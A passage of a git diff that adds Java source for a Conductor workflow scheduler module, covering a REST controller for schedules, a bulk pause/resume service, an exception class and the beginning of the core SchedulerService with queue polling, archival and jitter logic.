    Maps to the public API surface of {@link SchedulerService}. All endpoints are relative to + * {@code /api/scheduler}. + */ +@RestController +@Conditional(SchedulerConditions.class) +@RequestMapping("/api/scheduler") +@Tag(name = "Scheduler", description = "Workflow scheduling API") +public class SchedulerResource { + + private final SchedulerService schedulerService; + + public SchedulerResource(SchedulerService schedulerService) { + this.schedulerService = schedulerService; + } + + // ------------------------------------------------------------------------- + // CRUD + // ------------------------------------------------------------------------- + + @PostMapping(value = "/schedules", produces = APPLICATION_JSON_VALUE) + @ResponseStatus(HttpStatus.OK) + @Operation(summary = "Create or update a workflow schedule") + public WorkflowSchedule createOrUpdateSchedule(@RequestBody WorkflowSchedule schedule) { + return schedulerService.createOrUpdateWorkflowSchedule(schedule); + } + + @GetMapping(value = "/schedules", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "List all schedules, optionally filtered by workflow name") + public List getAllSchedules( + @RequestParam(value = "workflowName", required = false) String workflowName) { + if (workflowName != null && !workflowName.isBlank()) { + return schedulerService.getAllSchedules(workflowName); + } + return schedulerService.getAllSchedules(); + } + + @GetMapping(value = "/schedules/search", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Search for workflow schedules") + public SearchResult searchSchedules( + @RequestParam(value = "workflowName", required = false) String workflowName, + @RequestParam(value = "scheduleName", required = false) String scheduleName, + @RequestParam(value = "paused", required = false) Boolean paused, + @RequestParam(value = "freeText", required = false, defaultValue = "*") String freeText, + @RequestParam(value = "start", required = false, defaultValue = "0") int start, + @RequestParam(value = "size", required = false, defaultValue = "100") int size, + @RequestParam(value = "sort", required = false) String sort) { + List sortOptions = + sort == null || sort.isBlank() + ? List.of() + : Arrays.stream(sort.split(",")) + .map(String::trim) + .filter(s -> !s.isEmpty()) + .toList(); + return schedulerService.searchSchedules( + workflowName, scheduleName, paused, freeText, start, size, sortOptions); + } + + @GetMapping(value = "/schedules/{name}", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Get a schedule by name") + public WorkflowSchedule getSchedule(@PathVariable("name") String name) { + return schedulerService.getSchedule(name); + } + + @DeleteMapping("/schedules/{name}") + @ResponseStatus(HttpStatus.OK) + @Operation(summary = "Delete a schedule") + public void deleteSchedule(@PathVariable("name") String name) { + schedulerService.deleteSchedule(name); + } + + // ------------------------------------------------------------------------- + // Pause / Resume + // ------------------------------------------------------------------------- + + @PutMapping("/schedules/{name}/pause") + @ResponseStatus(HttpStatus.OK) + @Operation(summary = "Pause a schedule") + public void pauseSchedule( + @PathVariable("name") String name, + @RequestParam(value = "reason", required = false) String reason) { + schedulerService.pauseSchedule(name, reason); + } + + @PutMapping("/schedules/{name}/resume") + @ResponseStatus(HttpStatus.OK) + @Operation(summary = "Resume a paused schedule") + public void resumeSchedule(@PathVariable("name") String name) { + schedulerService.resumeSchedule(name); + } + + // ------------------------------------------------------------------------- + // Next schedule preview + // ------------------------------------------------------------------------- + + @GetMapping(value = "/nextFewSchedules", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Preview the next few execution times for a cron expression") + public List getNextFewSchedules( + @RequestParam("cronExpression") String cronExpression, + @RequestParam(value = "scheduleStartTime", required = false) Long scheduleStartTime, + @RequestParam(value = "scheduleEndTime", required = false) Long scheduleEndTime, + @RequestParam(value = "limit", required = false, defaultValue = "5") int limit) { + return schedulerService.getListOfNextSchedules( + cronExpression, scheduleStartTime, scheduleEndTime, limit); + } + + // ------------------------------------------------------------------------- + // Admin + // ------------------------------------------------------------------------- + + @GetMapping(value = "/admin/requeue", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Requeue all execution records") + public Map requeueAllExecutionRecords() { + return schedulerService.requeueAllExecutionRecords(); + } + + @GetMapping(value = "/admin/pause", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Pause all scheduling on this server instance (for debugging only)") + public Map pauseAllSchedules() { + schedulerService.pauseScheduler(true); + return Collections.singletonMap("status", "done"); + } + + @GetMapping(value = "/admin/resume", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Resume all scheduling on this server instance") + public Map resumeAllSchedules() { + schedulerService.pauseScheduler(false); + return Collections.singletonMap("status", "done"); + } + + // ------------------------------------------------------------------------- + // Execution search + // ------------------------------------------------------------------------- + + @GetMapping(value = "/search/executions", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Search for scheduled workflow executions") + public SearchResult searchScheduledExecutions( + @RequestParam(value = "query", required = false) String query, + @RequestParam(value = "freeText", required = false, defaultValue = "*") String freeText, + @RequestParam(value = "start", required = false, defaultValue = "0") int start, + @RequestParam(value = "size", required = false, defaultValue = "100") int size, + @RequestParam(value = "sort", required = false) String sort) { + List sortOptions = + sort == null || sort.isBlank() + ? List.of() + : Arrays.stream(sort.split(",")) + .map(String::trim) + .filter(s -> !s.isEmpty()) + .toList(); + return schedulerService.searchScheduledExecutions( + query, freeText, start, size, sortOptions); + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerBulkService.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerBulkService.java new file mode 100644 index 0000000..ccbd228 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerBulkService.java @@ -0,0 +1,44 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.util.List; + +import org.springframework.validation.annotation.Validated; + +import com.netflix.conductor.common.model.BulkResponse; + +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.Size; + +@Validated +public interface SchedulerBulkService { + + int MAX_REQUEST_ITEMS = 1000; + + BulkResponse pauseSchedules( + @NotEmpty(message = "Schedule names list cannot be null.") + @Size( + max = MAX_REQUEST_ITEMS, + message = + "Cannot process more than {max} schedules. Please use multiple requests.") + List scheduleNames); + + BulkResponse resumeSchedules( + @NotEmpty(message = "Schedule names list cannot be null.") + @Size( + max = MAX_REQUEST_ITEMS, + message = + "Cannot process more than {max} schedules. Please use multiple requests.") + List scheduleNames); +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerBulkServiceImpl.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerBulkServiceImpl.java new file mode 100644 index 0000000..f5e3f3c --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerBulkServiceImpl.java @@ -0,0 +1,107 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.util.List; + +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.annotations.Audit; +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.model.BulkResponse; + +import io.orkes.conductor.scheduler.config.SchedulerConditions; +import lombok.extern.slf4j.Slf4j; + +@Audit +@Trace +@Service +@Slf4j +@Conditional(SchedulerConditions.class) +public class SchedulerBulkServiceImpl implements SchedulerBulkService { + + private final SchedulerService schedulerService; + + public SchedulerBulkServiceImpl(SchedulerService schedulerService) { + this.schedulerService = schedulerService; + } + + /** + * Pause the list of schedules. + * + * @param scheduleNames - list of schedule names to perform pause operation on + * @return bulk response object containing a list of succeeded schedules and a list of failed + * ones with errors + */ + @Override + public BulkResponse pauseSchedules(List scheduleNames) { + BulkResponse bulkResponse = new BulkResponse(); + + for (String scheduleName : scheduleNames) { + try { + schedulerService.pauseSchedule(scheduleName); + bulkResponse.appendSuccessResponse(scheduleName); + log.debug("Successfully paused schedule: {}", scheduleName); + } catch (Exception e) { + log.error( + "bulk pauseSchedule exception, scheduleName {}, message: {}", + scheduleName, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(scheduleName, e.getMessage()); + } + } + + log.info( + "Bulk pause schedules completed. Success: {}, Failed: {}", + bulkResponse.getBulkSuccessfulResults().size(), + bulkResponse.getBulkErrorResults().size()); + + return bulkResponse; + } + + /** + * Resume the list of schedules. + * + * @param scheduleNames - list of schedule names to perform resume operation on + * @return bulk response object containing a list of succeeded schedules and a list of failed + * ones with errors + */ + @Override + public BulkResponse resumeSchedules(List scheduleNames) { + BulkResponse bulkResponse = new BulkResponse(); + + for (String scheduleName : scheduleNames) { + try { + schedulerService.resumeSchedule(scheduleName); + bulkResponse.appendSuccessResponse(scheduleName); + log.debug("Successfully resumed schedule: {}", scheduleName); + } catch (Exception e) { + log.error( + "bulk resumeSchedule exception, scheduleName {}, message: {}", + scheduleName, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(scheduleName, e.getMessage()); + } + } + + log.info( + "Bulk resume schedules completed. Success: {}, Failed: {}", + bulkResponse.getBulkSuccessfulResults().size(), + bulkResponse.getBulkErrorResults().size()); + + return bulkResponse; + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerException.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerException.java new file mode 100644 index 0000000..aa822ec --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerException.java @@ -0,0 +1,26 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import lombok.Getter; + +@Getter +public class SchedulerException extends RuntimeException { + + private final String scheduleName; + + public SchedulerException(String message, String scheduleName) { + super(message); + this.scheduleName = scheduleName; + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerService.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerService.java new file mode 100644 index 0000000..3e76bc4 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerService.java @@ -0,0 +1,1222 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.time.Duration; +import java.time.Instant; +import java.time.ZoneId; +import java.time.ZonedDateTime; +import java.util.*; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.ThreadLocalRandom; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.function.Consumer; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.springframework.context.annotation.Conditional; +import org.springframework.scheduling.support.CronExpression; +import org.springframework.security.core.context.SecurityContextHolder; + +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.LifecycleAwareComponent; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.sync.Lock; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.service.WorkflowService; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.annotations.VisibleForTesting; +import com.google.common.base.Stopwatch; +import com.google.common.util.concurrent.Uninterruptibles; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.health.RedisMonitor; +import io.orkes.conductor.scheduler.config.SchedulerConditions; +import io.orkes.conductor.scheduler.config.SchedulerProperties; +import io.orkes.conductor.scheduler.listener.ScheduleChangeListener; +import io.orkes.conductor.scheduler.model.CronSchedule; +import io.orkes.conductor.scheduler.model.NextScheduleResult; +import io.orkes.conductor.scheduler.model.WorkflowSchedule; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +@Conditional(SchedulerConditions.class) +public class SchedulerService extends LifecycleAwareComponent { + + public static final String LOCK_CLEANUP_KEY = "SCHEDULER_ARCHIVAL_RECORDS_CLEANUP"; + public final ZoneId zoneId; + private final Lock conductorLock; + + private final AtomicInteger counter = new AtomicInteger(0); + + public static final String CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME = "conductor_system_scheduler"; + public static final String CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME = + "conductor_system_scheduler_archival"; + + private final SchedulerArchivalDAO schedulerArchivalDAO; + protected final SchedulerDAO schedulerDAO; + private final WorkflowService workflowService; + protected final QueueDAO queueDAO; + private final Optional redisMaintenanceDAO; + protected final SchedulerProperties properties; + private final SchedulerTimeProvider schedulerTimeProvider; + private final ObjectMapper objectMapper; + private final ScheduleChangeListener scheduleChangeListener; + + protected AtomicInteger scheduleWfPollerBackoff = new AtomicInteger(0); + protected AtomicBoolean pauseScheduler = new AtomicBoolean(false); + protected AtomicInteger backoffFactor = new AtomicInteger(0); + protected AtomicInteger archivalsSinceLastIndex = new AtomicInteger(0); + + /** + * Tracks recent schedule processing throughput for dynamic jitter calculation. Increases + * additively with each non-empty batch; decays multiplicatively on empty polls (AIMD). Capped + * to prevent integer overflow in the jitter formula. + */ + @VisibleForTesting final AtomicInteger burstEstimate = new AtomicInteger(0); + + private final ScheduledExecutorService sesArchival; + private final ScheduledExecutorService sesMain; + + public SchedulerService( + SchedulerArchivalDAO schedulerArchivalDAO, + SchedulerDAO schedulerDAO, + WorkflowService workflowService, + QueueDAO queueDAO, + SchedulerServiceExecutor schedulerServiceExecutor, + Optional redisMaintenanceDAO, + SchedulerProperties properties, + SchedulerTimeProvider schedulerTimeProvider, + Lock lock, + ObjectMapper objectMapper, + ScheduleChangeListener scheduleChangeListener) { + this.schedulerArchivalDAO = schedulerArchivalDAO; + this.schedulerDAO = schedulerDAO; + this.workflowService = workflowService; + this.queueDAO = queueDAO; + this.redisMaintenanceDAO = redisMaintenanceDAO; + this.properties = properties; + this.zoneId = ZoneId.of(properties.getSchedulerTimeZone()); + this.schedulerTimeProvider = schedulerTimeProvider; + this.conductorLock = lock; + this.objectMapper = objectMapper; + this.scheduleChangeListener = scheduleChangeListener; + this.sesArchival = + schedulerServiceExecutor.getExecutorServiceArchivalQueuePoll( + properties.getArchivalThreadCount()); + this.sesMain = + schedulerServiceExecutor.getExecutorServiceMainQueuePoll( + properties.getPollingThreadCount()); + this.startPolling(); + } + + // ------------------------------------------------------------------------- + // Enterprise hook methods — override in EnterpriseSchedulerService + // ------------------------------------------------------------------------- + + protected void setRequestOrgId(String orgId) { + // no-op in OSS — enterprise overrides to set OrkesRequestContext + } + + protected void clearRequestOrgId() { + // no-op in OSS — enterprise overrides to clear OrkesRequestContext + } + + protected String getCurrentUserId() { + return ""; + } + + protected void checkExecutionPermission(WorkflowScheduleModel schedule) { + // no-op in OSS — override in enterprise for RBAC enforcement + } + + protected void checkScheduleLimit(WorkflowSchedule workflowSchedule) { + // no-op in OSS — override in enterprise for quota enforcement + } + + protected void handlePermissionViolation(SchedulerException e) { + log.error( + "Permission violation for schedule '{}': {}", e.getScheduleName(), e.getMessage()); + } + + protected SearchResult doSearchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions) { + return schedulerDAO.searchSchedules( + workflowName, scheduleName, paused, freeText, start, size, sortOptions); + } + + // ------------------------------------------------------------------------- + // Core scheduling logic + // ------------------------------------------------------------------------- + + private void runSchedulerMain() { + try { + if (checkBackoff()) return; + if (!isRedisHealthy()) return; + if (pauseScheduler.get()) { + if (counter.incrementAndGet() >= 50) { + counter.set(0); + } + return; + } + final boolean[] handled = {false}; + this.pollAndExecute( + CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, + input -> { + handled[0] = true; + int maxBurst = properties.getMaxScheduleJitterMs() * 10 / 3 + 1; + burstEstimate.updateAndGet(v -> Math.min(v + input.size(), maxBurst)); + try { + handleSchedules(input); + } catch (Exception e) { + log.error("Caught exception handling schedules: " + e.getMessage(), e); + if (e instanceof SchedulerException) { + handlePermissionViolation((SchedulerException) e); + } else { + Monitors.getCounter("schedulerHandlerError").increment(); + } + } + }, + this.properties.getPollBatchSize()); + if (!handled[0]) { + // Queue was empty — decay burst estimate (multiplicative decrease) + burstEstimate.updateAndGet(v -> v / 2); + } + } catch (Exception e) { + log.error( + "Caught exception polling " + + CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME + + " " + + e.getMessage(), + e); + Monitors.getCounter("schedulerExecutionError").increment(); + } + } + + private void startPolling() { + for (int i = 0; i < properties.getPollingThreadCount(); i++) { + sesMain.scheduleWithFixedDelay( + this::runSchedulerMain, + properties.getInitialDelayMs(), + properties.getPollingInterval(), + TimeUnit.MILLISECONDS); + } + log.info( + "Started listening for task: {} in queue: {}", + CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, + CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME); + for (int i = 0; i < properties.getArchivalThreadCount(); i++) { + sesArchival.scheduleWithFixedDelay( + () -> { + if (readyForMaintenance()) { + runArchivalTableMaintenance(); + } + try { + this.pollAndExecute( + CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME, + input -> { + try { + handleArchival(input); + } catch (Exception e) { + log.error( + "Caught exception handling archival: " + + e.getMessage(), + e); + } + }, + this.properties.getArchivalPollBatchSize()); + } catch (Exception e) { + log.error( + "Caught exception polling " + + CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME + + " " + + e.getMessage(), + e); + Monitors.getCounter("schedulerArchivalError").increment(); + } + }, + 5000, + properties.getPollingInterval(), + TimeUnit.MILLISECONDS); + } + log.info( + "Started listening for archival records : {} in queue: {}", + CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME, + CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME); + } + + private boolean readyForMaintenance() { + return archivalsSinceLastIndex.get() + > properties.getArchivalMaintenanceIntervalRecordCount(); + } + + private void runArchivalTableMaintenance() { + try { + log.debug("Running archival index maintenance"); + boolean lockAcquired = + conductorLock.acquireLock( + LOCK_CLEANUP_KEY, + properties.getArchivalMaintenanceLockSeconds(), + properties.getArchivalMaintenanceLockSeconds(), + TimeUnit.SECONDS); + if (lockAcquired) { + try { + log.debug( + "Lock acquired, performing maintenance on scheduler archival records"); + schedulerArchivalDAO.cleanupOldRecords( + properties.getArchivalMaxRecords(), + properties.getArchivalMaxRecordThreshold()); + } finally { + conductorLock.releaseLock(LOCK_CLEANUP_KEY); + } + } else { + log.warn( + "Unable to acquire lock, maintenance is potentially being carried out by another instance"); + } + } catch (Exception e) { + log.error("Error running index maintenance", e); + Monitors.error(this.getClass().getSimpleName(), "runArchivalTableMaintenance"); + } finally { + archivalsSinceLastIndex.set(0); + } + } + + private boolean checkBackoff() { + int backoffValue = + scheduleWfPollerBackoff.accumulateAndGet( + 1, + (left, right) -> { + if (left == 0) { + return 0; + } + return left - right; + }); + if (backoffValue > 0) { + if (counter.compareAndExchange(1000, 0) >= 1000) { + log.trace( + "Back off trigger present, skipping polling for the next {} times", + backoffValue); + } + return true; + } + return false; + } + + private boolean isRedisHealthy() { + if (redisMaintenanceDAO.isPresent() && redisMaintenanceDAO.get().isMemoryCritical()) { + log.debug( + "Backing off from trying workflow scheduling as redis memory is critical - {}", + redisMaintenanceDAO.get().getMemoryUsage()); + scheduleWfPollerBackoff.set(backoffFactor.addAndGet(5) * 10); + return false; + } + scheduleWfPollerBackoff.set(0); + backoffFactor.set(0); + return true; + } + + void pollAndExecute(String queueName, Consumer> handler, int pollBatchSize) { + if (!isRunning()) { + if (counter.incrementAndGet() >= 50) { + counter.set(0); + } + return; + } + List messageIds = queueDAO.pop(queueName, pollBatchSize, 500); + if (messageIds.size() > 0) { + log.trace("Polling queue:{}, got {}", queueName, messageIds.size()); + } else { + if (counter.incrementAndGet() >= 50) { + log.trace("Polling queue:{}, got {} schedules", queueName, messageIds.size()); + counter.set(0); + } + } + if (messageIds.size() > 0) { + handler.accept(messageIds); + } + } + + private void handleArchival(List messageIds) { + for (String msgId : messageIds) { + if (StringUtils.isBlank(msgId)) { + continue; + } + String[] parts = getOrgAndPayload(msgId); + String orgId = parts[0]; + String executionId = parts[1]; + Monitors.getTimer("scheduler_archival") + .record( + () -> { + try { + if (orgId != null) { + setRequestOrgId(orgId); + } + log.trace( + "Schedule execution id: {} from queue: {} being sent to the archival", + executionId, + CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME); + WorkflowScheduleExecutionModel model = + schedulerDAO.readExecutionRecord(executionId); + if (model != null) { + try { + schedulerArchivalDAO.saveExecutionRecord(model); + } catch (Exception e) { + log.error("Error persisting archival record", e); + throw e; + } + } + schedulerDAO.removeExecutionRecord(executionId); + queueDAO.ack( + CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME, msgId); + } catch (Exception e) { + log.error("Error handling archival record", e); + Monitors.error( + this.getClass().getSimpleName(), "handleArchival"); + } finally { + clearRequestOrgId(); + } + }); + } + archivalsSinceLastIndex.addAndGet(messageIds.size()); + } + + private long getOffsetSeconds(ZonedDateTime currentTime, ZonedDateTime newTime) { + long offsetSeconds = Duration.between(currentTime, newTime).getSeconds(); + long offsetMillis = + newTime.toInstant().toEpochMilli() - currentTime.toInstant().toEpochMilli(); + long offsetDelta = + BigDecimal.valueOf(offsetMillis % 1000) + .setScale(-3, RoundingMode.HALF_UP) + .longValue(); + if (offsetDelta != 0) { + offsetSeconds = offsetSeconds + (offsetDelta > 0 ? 1 : -1); + } + log.debug( + "Offset - {} - {} - {} - {} - {}", + currentTime, + newTime, + offsetSeconds, + offsetMillis, + offsetDelta); + return offsetSeconds; + } + + private void ackAndPushMessage(String msgId, long offsetSeconds) { + queueDAO.push(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, msgId, 0, withJitter(offsetSeconds)); + } + + /** + * Converts offset seconds to a Duration with dynamic random jitter added. Jitter scales with + * recent queue throughput (burst estimate) to prevent thundering-herd spikes when many + * schedules share the same cron expression, while remaining negligible under low load. + * + *

    ~0.3ms per schedule in the current burst, capped at {@code + * conductor.scheduler.maxScheduleJitterMs}. Examples: 10 schedules → ~3ms, 1000 → ~300ms, 10000 + * → capped at maxScheduleJitterMs. + */ + private Duration withJitter(long offsetSeconds) { + int burst = burstEstimate.get(); + int maxJitter = properties.getMaxScheduleJitterMs(); + // Use long arithmetic to prevent overflow when burst is large + long ceiling = Math.min((long) burst * 3 / 10, maxJitter); + long jitter = ceiling > 0 ? ThreadLocalRandom.current().nextLong(ceiling) : 0; + return Duration.ofSeconds(offsetSeconds).plusMillis(jitter); + } + + /** + * Extracts an optional orgId prefix from a queue message ID. Enterprise overrides {@link + * #getQueueMsgId} on models to produce "{orgId}:{payload}" format; OSS messages have no prefix. + * Returns {@code [orgId, payload]} — for OSS the orgId will always be {@code null} and payload + * equals msgId. + */ + protected String[] getOrgAndPayload(String msgId) { + // Enterprise org IDs are 4 chars; check for "XXXX:" prefix + if (msgId.length() > 4 && msgId.charAt(4) == ':') { + return new String[] {msgId.substring(0, 4), msgId.substring(5)}; + } + return new String[] {null, msgId}; + } + + // --- Multi-cron queue message support --- + + @Getter + @Setter + @NoArgsConstructor + public static class SchedulerQueueMessage { + @JsonIgnore String orgId; + String name; + String cron; // "cronExpr timezone", null for single-cron + int id; // -1 for single-cron + + SchedulerQueueMessage(String orgId, String name, String cron, int id) { + this.orgId = orgId; + this.name = name; + this.cron = cron; + this.id = id; + } + + @JsonIgnore + boolean isMultiCron() { + return cron != null; + } + } + + private SchedulerQueueMessage parseQueueMessage(String msgId) { + String[] parts = getOrgAndPayload(msgId); + String orgId = parts[0]; + String payload = parts[1]; + + if (payload.startsWith("{")) { + try { + SchedulerQueueMessage msg = + objectMapper.readValue(payload, SchedulerQueueMessage.class); + msg.setOrgId(orgId); + return msg; + } catch (Exception e) { + log.warn( + "Failed to parse JSON queue message '{}', treating as schedule name", + payload, + e); + } + } + return new SchedulerQueueMessage(orgId, payload, null, -1); + } + + @SneakyThrows + private String buildMultiCronPayload(String scheduleName, String cronWithTz, int index) { + SchedulerQueueMessage msg = + new SchedulerQueueMessage(null, scheduleName, cronWithTz, index); + return objectMapper.writeValueAsString(msg); + } + + private String buildMultiCronMsgId( + WorkflowScheduleModel schedule, String cronWithTz, int index) { + return buildMultiCronPayload(schedule.getName(), cronWithTz, index); + } + + private List buildAllMultiCronMsgIds(WorkflowScheduleModel schedule) { + List msgIds = new ArrayList<>(); + List cronSchedules = schedule.getCronSchedules(); + for (int i = 0; i < cronSchedules.size(); i++) { + CronSchedule cs = cronSchedules.get(i); + String cronWithTz = + cs.getCronExpression() + + " " + + (cs.getZoneId() != null ? cs.getZoneId() : "UTC"); + msgIds.add(buildMultiCronMsgId(schedule, cronWithTz, i)); + } + return msgIds; + } + + private void removeScheduleQueueMessages(WorkflowScheduleModel schedule) { + // Always remove the single-cron message + queueDAO.remove(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, schedule.getQueueMsgId()); + // Also remove multi-cron messages if applicable + if (schedule.hasMultipleCronSchedules()) { + for (String msgId : buildAllMultiCronMsgIds(schedule)) { + queueDAO.remove(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, msgId); + } + } + } + + @VisibleForTesting + void handleSchedules(List messageIds) { + if (messageIds.isEmpty()) { + Uninterruptibles.sleepUninterruptibly(500, TimeUnit.MILLISECONDS); + } + Monitors.getCounter("scheduler_handler_batch").increment(messageIds.size()); + for (String msgId : messageIds) { + if (StringUtils.isBlank(msgId)) { + continue; + } + + Stopwatch timer = Stopwatch.createStarted(); + SchedulerQueueMessage queueMsg = parseQueueMessage(msgId); + String scheduleName = queueMsg.name; + + try { + if (queueMsg.orgId != null) { + setRequestOrgId(queueMsg.orgId); + } + log.debug( + "Schedule name: {} from queue: {} being sent to the workflow executor", + scheduleName, + CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME); + WorkflowScheduleModel schedule = schedulerDAO.findScheduleByName(scheduleName); + if (schedule == null) { + log.warn( + "Schedule {} has been deleted, removing from processing", scheduleName); + ackFinal(msgId); + continue; + } + + if (schedule.isPaused()) { + log.debug( + "Schedule {} has been paused, removing from processing", scheduleName); + ackFinal(msgId); + continue; + } + + checkExecutionPermission(schedule); + + // For multi-cron messages, validate the cron index is still valid + if (queueMsg.isMultiCron()) { + List cronSchedules = schedule.getCronSchedules(); + if (queueMsg.id >= cronSchedules.size()) { + log.warn( + "Cron index {} is out of bounds for schedule {} (size={}), removing stale message", + queueMsg.id, + scheduleName, + cronSchedules.size()); + queueDAO.ack(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, msgId); + continue; + } + } + + String schedulerCron; + String executionZoneId; + if (queueMsg.isMultiCron()) { + schedulerCron = queueMsg.cron; + CronSchedule cs = schedule.getCronSchedules().get(queueMsg.id); + executionZoneId = cs.getZoneId() != null ? cs.getZoneId() : "UTC"; + } else { + executionZoneId = schedule.getZoneId() != null ? schedule.getZoneId() : "UTC"; + schedulerCron = schedule.getCronExpression() + " " + executionZoneId; + } + + // "is it due" guard — same logic for single and multi-cron, + // keyed by msgId (schedule name or JSON payload respectively) + long scheduledTime = schedulerDAO.getNextRunTimeInEpoch(msgId); + ZonedDateTime newRunTime = + getZonedDateTimeFromEpoch(scheduledTime, executionZoneId); + ZonedDateTime currentSystemTime = + schedulerTimeProvider.getUtcTime(ZoneId.of(executionZoneId)); + + long offsetSeconds = getOffsetSeconds(currentSystemTime, newRunTime); + if (offsetSeconds > 1) { + log.warn( + "Schedule {} is not due for running, will move back into the queue", + msgId); + queueDAO.push( + CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, + msgId, + 0, + Math.max(offsetSeconds, 1)); + continue; + } + + WorkflowScheduleExecutionModel scheduledExecutionRecord = + new WorkflowScheduleExecutionModel( + UUID.randomUUID().toString(), + scheduleName, + scheduledTime, + Instant.now().toEpochMilli(), + schedule.getStartWorkflowRequest().getName(), + null, + null, + null, + schedule.getStartWorkflowRequest(), + WorkflowScheduleExecutionModel.State.POLLED, + executionZoneId); + + StartWorkflowRequest request = + swrFrom(schedule, 